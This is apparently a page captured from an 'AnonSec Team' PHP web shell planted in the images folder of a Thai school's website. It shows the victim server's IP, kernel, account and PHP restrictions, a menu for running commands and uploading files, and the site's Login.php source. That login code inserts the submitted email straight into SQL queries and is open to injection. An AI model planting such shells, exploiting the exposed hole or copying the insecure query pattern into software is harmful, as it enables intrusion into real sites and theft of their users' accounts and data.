AnonSec Team
Server IP : 124.109.2.77  /  Your IP : 216.73.216.49
Web Server : Apache/2
System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : cpctlp ( 1020)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341
OFF
Directory (0755) :  /home/cpctlp/domains/cpctlphp.com/public_html/admin/tcpdf/../Connections/../src/../../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cpctlp/domains/cpctlphp.com/public_html/admin/tcpdf/../Connections/../src/../../Login.php
<?php 
session_start();
header('Content-Type: text/plain; charset=utf-8');
header('Content-Type: text/html; charset=utf-8');
//กำหนดให้ IE อ่าน page นี้ทุกครั้ง ไม่ไปเอาจาก cache
header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header ("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header ("Cache-Control: no-cache, must-revalidate");
header ("Pragma: no-cache");
include ("Connections/config.php");
 ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="keywords" content="<?php  echo $config[web_keywords];?>" />
<meta name="description" content="<?php  echo $config[web_description];?>" />

<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<link rel="shortcut icon" href="images/<?php  echo $config[web_icon];?>" />
<link href="https://fonts.googleapis.com/css?family=Kanit" rel="stylesheet">
<style type="text/css">
body {
font-family: 'Kanit', sans-serif;
background-image: url("images/bg2.jpg");
}
</style>
   <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" type="text/css">
  <link rel="stylesheet" href="https://static.pingendo.com/bootstrap/bootstrap-4.3.1.css">
</head>

<body>
<?php 
   include ("Connections/function-sys.php");
   
 switch($_REQUEST[action]){
	case "Login":
					  session_unset();
					  $password    = hash('sha256', $_REQUEST['password']);    
  				  	  $sql1 = " select   employee.*    	
									    from  employee     	
									    where employee.empEmail ='$_REQUEST[email]'  and employee.empPassword='$password'  " ; 
 						$RowRec=$db->recCount($sql1);
						if($RowRec>0){
								$row_RecUser=$db->getRec($sql1);		
								$_SESSION[User_id]=$row_RecUser[empID];
								$_SESSION[User_name]="$row_RecUser[empFirstName]$row_RecUser[empName]";
								$_SESSION[User_name2]="$row_RecUser[empName]";
								$_SESSION[User_email]=$row_RecUser[empEmail];
								$_SESSION[UserRight]=$row_RecUser[empRight];
								$_SESSION[User_mID]=$row_RecUser[mID];
								$_SESSION[User_Img]=$row_RecUser[empIMG];
								$_SESSION[User_Img2]="admin/images/employee/$row_RecUser[empIMG]";
								$_SESSION[User_RoomID]="Teacher";
								$_SESSION[User_RoomName]="อาจารย์ประจำวิชา";
								$_SESSION[User_status]="Teacher";

 								$ip= $REMOTE_ADDR; // IP ADDRESS
								$sql="update datalogin set  logout=now() where userID='$_SESSION[User_id]'  and  (isnull(logout) or logout='0000-00-00 00:00:00') ";
								$db->query($sql);
								$sql="insert into datalogin  (userID,login,ip,status) values('$_SESSION[User_id]',now(),'$ip','$_SESSION[User_status]')";
								$db->query($sql);

								header( "location: index.php" );
								 exit(0);
								//echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
					}else
					{
 								  $sql1 = "SELECT student.*,room.roomName
											FROM student  
											left Join room ON student.roomID = room.roomID
											where student.Email ='$_REQUEST[email]'  and student.Password='$password'  " ; 
								$RowRec=$db->recCount($sql1);
								if($RowRec>0){
									$row_RecUser=$db->getRec($sql1);		
									$_SESSION[User_id]=$row_RecUser[studentID];
									 $_SESSION[User_name]="$row_RecUser[studentName]$row_RecUser[studentlName]";
									$_SESSION[User_name2]="$row_RecUser[studentName]";
									$_SESSION[User_email]=$row_RecUser[Email];
									$_SESSION[User_Img]=$row_RecUser[IMG];
									$_SESSION[User_Img2]="admin/images/student/$row_RecUser[IMG]";
									$_SESSION[User_RoomID]=$row_RecUser[roomID];
									$_SESSION[User_RoomName]=$row_RecUser[roomName];
									$_SESSION[User_status]="Student";
									$ip= $REMOTE_ADDR; // IP ADDRESS
									$sql="update datalogin set  logout=now() where userID='$_SESSION[User_id]'  and  (isnull(logout) or logout='0000-00-00 00:00:00') ";
									$db->query($sql);
									$sql="insert into datalogin  (userID,login,ip,status) values('$_SESSION[User_id]',now(),'$ip','$_SESSION[User_status]')";
									$db->query($sql);

									 header( "location: index.php" );
									exit(0);
									//echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
							}else
							{
							 	 echo  "<script language=\"JavaScript\"> alert(\"!!! รหัสผ่านผิดพลาด กรุณาตรวจสอบอึกครั้งหรือติดต่อผู้ดูแลระบบ !!!\");</script>";
								session_unset();
							}
					}//ปิดไม่พบข้อมูล
 				break;

	case "LogOut":
 				$sql="update datalogin set  logout=now() where userID='$_SESSION[User_id]' and  (isnull(logout) or logout='0000-00-00 00:00:00') ";
				$db->query($sql);
				session_unset();
				header( "location: index.php" );
				exit(0);
				//echo "<BR><BR><META HTTP-EQUIV=\"REFRESH\" CONTENT=\"1; URL=index.php\">";
				break;
}//action
?>
  <div class="py-5 text-center" >
    <div class="container">
      <div class="row">
        <div class="mx-auto col-md-6 col-10 bg-white p-5">
          <h1 class="mb-4">Log in</h1>
          <form id="frmLogin"    method="post" action="Login.php">
            <div class="form-group"> <input type="email" name="email"  class="form-control" placeholder="Enter E-mail" id="form9"> </div>
            <div class="form-group mb-3"> 
				<input type="password"   name="password" class="form-control" placeholder="Password" id="form10"> 
				<!-- <small class="form-text text-muted text-right"> <a href="#"> Recover password</a> </small> -->
				</div> 
			  <div class="form-group" align="left"> 
				<INPUT TYPE="hidden" NAME="action" value="Login">
				<button type="submit" class="btn btn-primary">เข้าสู่ระบบ</button> <!-- <button type="submit" class="btn btn-primary">ลงทะเบียน</button> -->
			  </div> 
          </form>
        </div>
      </div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.6/umd/popper.min.js" integrity="sha384-wHAiFfRlMFy6i5SRaxvfOCifBUQy1xHdJ/yoi7FRNXMRBu5WHdZYu1hA6ZOblgut" crossorigin="anonymous"></script>
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
</body>

</html>

AnonSec - 2021